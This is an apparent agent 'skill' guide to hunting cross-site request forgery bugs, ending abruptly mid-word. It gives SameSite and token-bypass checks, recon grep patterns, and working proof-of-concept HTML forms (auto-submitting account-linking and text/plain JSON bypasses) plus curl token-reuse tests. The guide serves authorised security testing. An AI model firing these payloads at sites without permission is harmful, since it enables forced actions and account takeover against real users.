hunt-csrf – skill Bảo mật cho agent AI

When to Use

Use when the target has any state-changing endpoint that a logged-in user can trigger — POST/PUT/DELETE on account settings, email changes, social account linking, OAuth flows, API calls, or file operations. CSRF exploits the trust a site has in a user's browser by forging cross-origin requests. Every form submission, AJAX call, OAuth callback, and API mutation is a candidate. Highest-value targets: account takeover vectors (OAuth/SSO flows, social account linking), authentication infrastructure (login CSRF, session fixation), JSON APIs accepting cross-origin POST, and third-party integrations (Grafana, monitoring dashboards).

⚠️ CRITICAL: curl ≠ browser. Model the browser security model.

CSRF PoC MUST work in a real browser, not just curl. The browser enforces rules that curl ignores:

| Browser Rule | curl Behavior | Real CSRF Impact |

|-------------|---------------|-----------------|

| SameSite=Lax | curl sends cookie anyway | Blocks cookie on cross-site POST — no CSRF |

| SameSite=Strict | curl sends cookie anyway | Blocks cookie on all cross-site requests — no CSRF |

| CORS preflight | curl skips OPTIONS | Browser blocks if Content-Type: application/json |

| Sec-Fetch-Site: cross-site | curl doesn't send | Server can reject cross-site requests via this header |

CSRF verification checklist:

1. ✅ Endpoint changes state (POST/PUT/DELETE)

2. ✅ Cookie has SameSite=None OR SameSite=Lax with GET-based action

3. ✅ No custom CSRF token/header required

4. ✅ PoC works from a different origin in a real browser

If step 2 fails (SameSite=Lax on POST endpoint) → NOT exploitable CSRF via curl alone. SameSite=Lax allows cookies on top-level navigation GET, not cross-site POST. A curl POST succeeding with the cookie is a false positive — the browser would block it.

CSRF Middleware Protection Bypass:

• Many modern web frameworks (for example, those with CSRF protection enabled by default) reject state-changing requests such as POST, PUT, or DELETE with a 403 Forbidden response when the CSRF token is missing or invalid.
• In some applications, if the PATCH method is not covered by the same CSRF middleware or is handled differently, it may be possible to perform the same state-changing action using PATCH instead. This can result in a CSRF protection bypass if the server accepts the request without validating a CSRF token.

SameSite cheat sheet:

| Cookie Attribute | Browser sends cookie on... |

|-----------------|---------------------------|

| SameSite=None | All cross-site requests (needs Secure) |

| SameSite=Lax | Cross-site GET (top-level nav only). Blocks POST |

| SameSite=Strict | Same-site only. Blocks everything cross-site |

| Not set (default) | Treated as Lax in modern browsers |

---

Crown Jewel Targets

CSRF becomes high-value when it touches state-changing actions with account-level or financial consequences. The highest-paying targets are:

• Account takeover vectors: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens
• Authentication infrastructure: Login CSRF, session fixation via CSRF, forced account association
• API endpoints accepting cross-origin POST: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement
• Third-party integrations: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections
• Social platforms: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact

Asset types that pay most: Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.

---

Attack Surface Signals

URL Patterns

/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)

Response Header Signals

# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly        # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None   # explicitly allows cross-site

# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true      # dangerous combo

JS / DOM Patterns

// Static or predictable CSRF tokens
meta[name="csrf-token"]   // grep if value changes across sessions
authenticity_token        // Rails — check if reused across page loads

// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})

// No CSRF token in form at all
<form method="POST" action="/accounts/link">  // no hidden token field

Tech Stack Signals

• Rails apps: Look for authenticity_token — test if it's static per session
• Django apps: Check csrfmiddlewaretoken — test cross-user/session reuse
• Grafana instances: CVE-2022-21703 — check version via /api/health
• SAMLv2/OIDC flows: RelayState parameter rarely validated
• Express/Node APIs: Often skip CSRF middleware on /api/* routes

---

Step-by-Step Hunting Methodology

1. Map all state-changing endpoints — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.

2. Check cookie SameSite attributes — In DevTools → Application → Cookies. Flag any session cookie without SameSite=Strict or Lax.

3. Test token staticness — Log in twice (different sessions or incognito). Compare authenticity_token / csrfmiddlewaretoken / csrf-token values across:

• Same session, different page loads (should be different)
• Different sessions for same user
• Different users entirely

4. Test token omission — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.

5. Test token substitution — Replace the token with one from a different session. Server accepting it = broken validation.

6. Test JSON endpoints for form-POST CSRF — Check if Content-Type is enforced:

• Send application/x-www-form-urlencoded to a JSON endpoint
• Send text/plain with a JSON body
• If accepted, HTML form can trigger it cross-origin

7. Hunt OAuth/SSO RelayState — Intercept SAML/OIDC flows. Test if RelayState is validated for same-origin. Inject external URLs.

8. Check social linking flows — Every "connect your X account" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.

9. Test third-party dashboards on subdomains — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.

10. Build PoC HTML page — Host on a different origin, fire the request, confirm cookies are sent and action executes.

---

Payload & Detection Patterns

Basic CSRF PoC (Form POST)

<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/v1/account/link">
    <input type="hidden" name="provider" value="attacker_account_id" />
    <input type="hidden" name="token" value="oauth_token_here" />
  </form>
</body>
</html>

JSON CSRF via text/plain (bypasses Content-Type check)

<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/heartbeat"
        enctype="text/plain">
    <!-- browser sends: {"status":"ok","x":"=padding"} -->
    <input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
  </form>
</body>
</html>

curl: Test CSRF token omission

# Capture a valid request, then replay without token
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/email \
  -H "Cookie: session=YOUR_SESSION" \
  -d "[email protected]" \
  -v 2>&1 | grep -E "HTTP|location|error"

curl: Test token reuse across sessions

# Get token from session A
TOKEN_A=$(curl --max-time 30 --connect-timeout 10 -s https://target.com/settings -H "Cookie: session=SESSION_A" \
  | grep -Eo 'authenticity_token[^"]*value="\K[^"]+')

# Use token A in session B's request
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/update \
  -H "Cookie: session=SESSION_B" \
  -d "authenticity_token=$TOKEN_A&[email protected]" \
  -v

Grep patterns for recon

# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'

# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"

# Check SameSite in response headers
curl --max-time 30 --connect-timeout 10 -sI https://target.com/login | grep -i "set-cookie"

# Find RelayState parameters
grep -r "RelayState" --include="*.js" .

Gra

… (nội dung đầy đủ có trong gói tải về)